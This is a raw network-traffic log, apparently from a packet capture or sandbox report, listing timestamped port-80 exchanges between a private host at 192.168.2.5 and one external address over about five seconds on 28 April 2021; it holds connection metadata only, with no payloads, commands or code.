Apr 28, 2021 23:25:21.613404989 CEST	50416	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.671804905 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.671848059 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.671871901 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.672179937 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.672195911 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.672544956 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.672744989 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.672944069 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.672959089 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.673104048 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.673276901 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.673470020 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.673659086 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.673693895 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.673938990 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674069881 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674259901 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674299002 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674587011 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674598932 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674606085 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674644947 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674916983 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674942017 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.674953938 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.676630974 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.676799059 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.707396030 CEST	80	50415	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.707537889 CEST	50415	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.714241982 CEST	80	50416	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.714366913 CEST	50416	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.715120077 CEST	50416	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.772298098 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.772428989 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.815680027 CEST	80	50416	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.822592020 CEST	80	50416	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.822691917 CEST	50416	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.936712027 CEST	50416	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.939455986 CEST	50418	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.037306070 CEST	80	50418	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.037447929 CEST	50418	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.037651062 CEST	80	50416	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.037708044 CEST	50416	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.037899017 CEST	50418	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.133744955 CEST	80	50418	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.137630939 CEST	80	50418	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.137729883 CEST	50418	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.246258974 CEST	50418	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.247308969 CEST	50419	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.342916012 CEST	80	50418	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.342994928 CEST	50418	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.347327948 CEST	80	50419	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.347451925 CEST	50419	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.347901106 CEST	50419	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.447607994 CEST	80	50419	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.451351881 CEST	80	50419	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.451474905 CEST	50419	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.559267044 CEST	50419	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.560635090 CEST	50420	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.659076929 CEST	80	50419	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.659281969 CEST	50419	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.662754059 CEST	80	50420	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.662873030 CEST	50420	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.663522005 CEST	50420	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.769944906 CEST	80	50420	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.777556896 CEST	80	50420	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.777676105 CEST	50420	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.888817072 CEST	50420	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.891575098 CEST	50422	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.985613108 CEST	80	50422	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.985790014 CEST	50422	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.986885071 CEST	50422	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:22.990828037 CEST	80	50420	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:22.990935087 CEST	50420	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.081280947 CEST	80	50422	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.088969946 CEST	80	50422	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.089767933 CEST	50422	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.200154066 CEST	50422	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.202435970 CEST	50423	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.295289040 CEST	80	50422	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.295492887 CEST	50422	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.301635981 CEST	80	50423	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.301870108 CEST	50423	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.303075075 CEST	50423	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.400907040 CEST	80	50423	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.404555082 CEST	80	50423	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.404747009 CEST	50423	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.513719082 CEST	50423	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.516308069 CEST	50424	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.612761974 CEST	80	50423	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.612893105 CEST	50423	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.615434885 CEST	80	50424	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.615592003 CEST	50424	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.616683960 CEST	50424	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.714780092 CEST	80	50424	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.718976021 CEST	80	50424	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.719929934 CEST	50424	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.825210094 CEST	50424	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.827339888 CEST	50425	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.922382116 CEST	80	50425	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.922537088 CEST	50425	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.922672987 CEST	80	50424	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:23.922764063 CEST	50424	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.923448086 CEST	50425	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:23.989156961 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.018639088 CEST	80	50425	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.022658110 CEST	80	50425	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.022804022 CEST	50425	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.086545944 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.086679935 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.087002039 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.141704082 CEST	50425	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.142817974 CEST	50427	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.184695005 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.184736013 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.184885025 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.184952974 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.185023069 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.185095072 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.185359955 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.185548067 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.185566902 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.185667992 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.185825109 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.185906887 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.186530113 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.186636925 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.186881065 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.186902046 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.186985970 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.187170982 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.187290907 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.236514091 CEST	80	50425	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.236620903 CEST	50425	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.244259119 CEST	80	50427	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.244525909 CEST	50427	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.245146036 CEST	50427	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.284629107 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.284662962 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.284670115 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.284679890 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.284816980 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.284832001 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.284945965 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.285007000 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.285037994 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.285119057 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.285371065 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.285530090 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.285531044 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.285547972 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.285656929 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.285710096 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.285829067 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.286082983 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.286180019 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.286741972 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.286783934 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.286871910 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.286952972 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.287233114 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.287333965 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.347234964 CEST	80	50427	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.350857973 CEST	80	50427	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.351097107 CEST	50427	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.382134914 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382179022 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382205963 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382230043 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382255077 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382289886 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382319927 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382366896 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.382477045 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.382503986 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382580996 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.382675886 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382680893 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.382802010 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.382848024 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.382997036 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.383162022 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.383255005 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.383279085 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.383572102 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.383946896 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.384078026 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.384104967 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.384239912 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.384259939 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.384433985 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.384535074 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.384627104 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.384654999 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.384784937 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.465419054 CEST	50427	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.466630936 CEST	50428	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.479621887 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.479661942 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.479679108 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.479732990 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.479897022 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.479948044 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.480068922 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.480313063 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.480514050 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.480758905 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.480905056 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.481102943 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.481307983 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.481451988 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.481726885 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.481832027 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.482007027 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.482024908 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.482176065 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.482350111 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.482546091 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.482764006 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.482785940 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.483084917 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.483361006 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.483445883 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.483684063 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.483750105 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.483943939 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.484285116 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.486217976 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.486346960 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.565956116 CEST	80	50427	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.566057920 CEST	50427	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.566637039 CEST	80	50428	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.566771984 CEST	50428	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.567962885 CEST	50428	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.583539009 CEST	80	50426	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.583719015 CEST	50426	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.667510033 CEST	80	50428	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.671391964 CEST	80	50428	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.671647072 CEST	50428	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.779124975 CEST	50428	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.780514002 CEST	50430	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.878298044 CEST	80	50428	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.878406048 CEST	50428	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.888890028 CEST	80	50430	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:24.889256954 CEST	50430	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.890455008 CEST	50430	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:24.998528004 CEST	80	50430	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.002203941 CEST	80	50430	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.002305984 CEST	50430	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.106075048 CEST	50430	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.107064009 CEST	50431	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.214101076 CEST	80	50430	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.214241028 CEST	50430	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.215609074 CEST	80	50431	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.215749025 CEST	50431	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.216344118 CEST	50431	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.324476957 CEST	80	50431	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.328766108 CEST	80	50431	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.328854084 CEST	50431	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.434642076 CEST	50431	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.437726974 CEST	50432	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.533090115 CEST	80	50432	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.533196926 CEST	50432	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.533723116 CEST	50432	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.543781996 CEST	80	50431	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.543864965 CEST	50431	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.629004955 CEST	80	50432	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.633136988 CEST	80	50432	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.633263111 CEST	50432	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.746804953 CEST	50432	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.747838974 CEST	50434	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.841691971 CEST	80	50434	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.841948032 CEST	80	50432	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.842073917 CEST	50432	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.842082024 CEST	50434	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.842850924 CEST	50434	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:25.936517954 CEST	80	50434	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.939739943 CEST	80	50434	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:25.939888000 CEST	50434	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.044342041 CEST	50434	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.046948910 CEST	50435	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.137979984 CEST	80	50434	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.138241053 CEST	50434	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.140153885 CEST	80	50435	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.140311003 CEST	50435	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.141243935 CEST	50435	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.235716105 CEST	80	50435	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.239463091 CEST	80	50435	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.239619017 CEST	50435	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.357028008 CEST	50435	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.359276056 CEST	50436	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.452955961 CEST	80	50435	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.453063965 CEST	50435	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.459435940 CEST	80	50436	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.459568977 CEST	50436	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.468126059 CEST	50436	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.566092968 CEST	80	50436	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.570276022 CEST	80	50436	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.570441961 CEST	50436	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.687581062 CEST	50436	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.693547010 CEST	50437	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.752494097 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.785278082 CEST	80	50436	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.785414934 CEST	50436	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.787384987 CEST	80	50437	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.787489891 CEST	50437	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.788578033 CEST	50437	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.854290962 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.854456902 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.854854107 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.882378101 CEST	80	50437	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.886230946 CEST	80	50437	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.886663914 CEST	50437	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.956659079 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.956680059 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.956768990 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.956809044 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.956808090 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.957053900 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.957163095 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.957458973 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.957478046 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.957562923 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.957647085 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.957719088 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.957815886 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.957906961 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.957977057 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.958210945 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.958363056 CEST	80	50438	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:26.958446026 CEST	50438	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:26.996607065 CEST	50437	80	192.168.2.5	176.111.174.114
